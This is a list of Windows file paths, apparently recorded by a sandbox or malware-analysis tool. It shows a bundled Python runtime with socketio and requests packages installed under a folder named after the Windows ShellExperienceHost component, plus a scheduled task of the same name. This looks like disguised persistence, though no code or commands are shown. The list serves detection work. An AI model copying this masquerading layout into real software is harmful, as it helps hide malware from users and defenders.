C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\AFXRES.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\COMMCTRL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\DBI.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\MMSYSTEM.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\NETBIOS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\NTSECURITYCON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_TESTUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\RASUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\REGCHECK.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\REGUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\SSPI.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\SSPICON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32CRYPTCON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32EVTLOGUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32GUI_STRUCT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32INETCON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32NETCON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32PDHQUERY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32PDHUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32RCPARSER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32SERVICEUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32TIMEZONE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32TRACEUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32VERSTAMP.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINIOCTLCON.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINNT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINPERF.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINXPTHEME.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\MMAPFILE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\ODBC.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PERFMON.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PERFMONDATA.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PYTHONSERVICE.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\BACKUPEVENTLOG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\PYSYNCH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\__PYCACHE__\PYSYNCH.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CONTROLSERVICE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\KILLPROCNAME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\RASUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\REGSETUP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\SETUP_D.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\BRANDPROJECT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\BULKSTAMP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\VSSUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\BRANDPROJECT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\BULKSTAMP.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\VSSUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\BACKUPEVENTLOG.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\CONTROLSERVICE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\KILLPROCNAME.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\RASUTIL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\REGSETUP.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\SETUP_D.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SERVICEMANAGER.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\HANDLES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TESTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_CLIPBOARD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_ODBC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_PYWINTYPES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_SECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_SSPI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32API.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32CRYPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32EVENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32GUI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32GUISTRUCT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32INET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32NET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32PIPE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32RCPARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32TIMEZONE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32TRACE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32WNET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\PYTHON.BMP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\PYTHON.ICO
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\TEST.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\TEST.RC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\HANDLES.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TESTALL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_CLIPBOARD.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_EXCEPTIONS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_ODBC.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_PYWINTYPES.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_SECURITY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_SSPI.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32API.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32CRYPT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32EVENT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32FILE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32GUI.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32GUISTRUCT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32INET.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32NET.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32PIPE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32RCPARSER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32TIMEZONE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32TRACE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32WNET.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TIMER.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN2KRAS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32API.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CLIPBOARD.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CONSOLE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CRED.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CRYPT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32EVENT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32EVTLOG.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32FILE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32GUI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32HELP.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32INET.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32JOB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32LZ.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32NET.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PDH.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PIPE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PRINT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PROCESS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PROFILE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32RAS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32SECURITY.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32SERVICE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TRACE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TRANSACTION.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32WNET.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WINXPGUI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\_WIN32SYSLOADER.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\_WINXPTHEME.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\COMPOSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\CONSTRUCTOR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\CYAML.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\DUMPER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\EMITTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\ERROR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\EVENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\LOADER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\NODES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\PARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\READER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\REPRESENTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\RESOLVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\SCANNER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\SERIALIZER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\TOKENS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_CFFI_BACKEND.CP37-WIN32.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK\OVERRIDE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_YAML.CP37-WIN32.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYEXPAT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON3.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.ZIP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37._PTH
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SELECT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SQLITE3.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UCRTBASE.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UNICODEDATA.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\VCRUNTIME140.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\WINSOUND.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ASYNCIO.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_BZ2.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_CTYPES.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_DECIMAL.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ELEMENTTREE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_HASHLIB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_LZMA.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_MSI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_MULTIPROCESSING.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_OVERLAPPED.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_QUEUE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SOCKET.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SQLITE3.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SSL.PYD
C:\WINDOWS\SYSWOW64\WINSTA.DLL
C:\WINDOWS\SYSWOW64\TASKSCHD.DLL
C:\WINDOWS\SYSWOW64\XMLLITE.DLL
C:\WINDOWS\SYSWOW64\MSVCR110_CLR0400.DLL
C:\WINDOWS\SYSWOW64\MSCOREE.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENSERVICELOCK.DAT
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENROOTSTORELOCK.DAT
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCORSVC.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\FUSION.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGEN_SERVICE.LOG
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORWKS.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCORSVW.EXE
C:\WINDOWS\SYSWOW64\MSIDLE.DLL
C:\WINDOWS\SYSWOW64\POWRPROF.DLL
C:\WINDOWS\SYSTEM32\MSVCR110_CLR0400.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENSERVICELOCK.DAT
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENROOTSTORELOCK.DAT
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCORSVC.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGEN_SERVICE.LOG
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCORSVW.EXE
C:\WINDOWS\SYSTEM32\MSIDLE.DLL
C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
C:\WINDOWS\SYSTEM32\POWRPROF.DLL
C:\WINDOWS\SYSTEM32\WSOCK32.DLL
C:\PROGRAM FILES\WINDOWS MEDIA PLAYER\EN-US\WMPNETWK.EXE.MUI
C:\WINDOWS\SYSTEM32\WMDRMDEV.DLL
C:\WINDOWS\SYSTEM32\DRMV2CLT.DLL
C:\WINDOWS\SYSTEM32\MFPLAT.DLL
C:\WINDOWS\SYSTEM32\AVRT.DLL
C:\WINDOWS\SYSTEM32\CATROOT2
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-MEDIA-FORMAT-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\DRMSTORE.HDS
C:\WINDOWS\SYSTEM32\BLACKBOX.DLL
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_116_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\BLACKBOX.BIN
C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\V3KS.SEC
C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\V3KS.BLA
C:\WINDOWS\SERVICEPROFILES\NETWORKSERVICE\APPDATA\LOCAL\MICROSOFT\WINDOWS MEDIA PLAYER NSS\3.0\ICON FILES
C:\WINDOWS\SERVICEPROFILES\NETWORKSERVICE\APPDATA\LOCAL\MICROSOFT\WINDOWS MEDIA PLAYER NSS\3.0\SCPD
C:\WINDOWS\SYSTEM32\UPNP.DLL
C:\WINDOWS\SYSTEM32\WINHTTP.DLL
C:\WINDOWS\SYSTEM32\WEBIO.DLL
C:\WINDOWS\SYSTEM32\SSDPAPI.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENOFFLINEQUEUELOCK.DAT
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENOFFLINEQUEUELOCK.DAT
C:\WINDOWS\SYSTEM32\TASKS\SHELLEXPERIENCEHOST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC.6716752
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50098528
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\CLIENT.CPYTHON-37.PYC.50096720
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50099896
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\CLIENT.CPYTHON-37.PYC.50171168
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\SIX.CPYTHON-37.PYC.50478320
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50100960
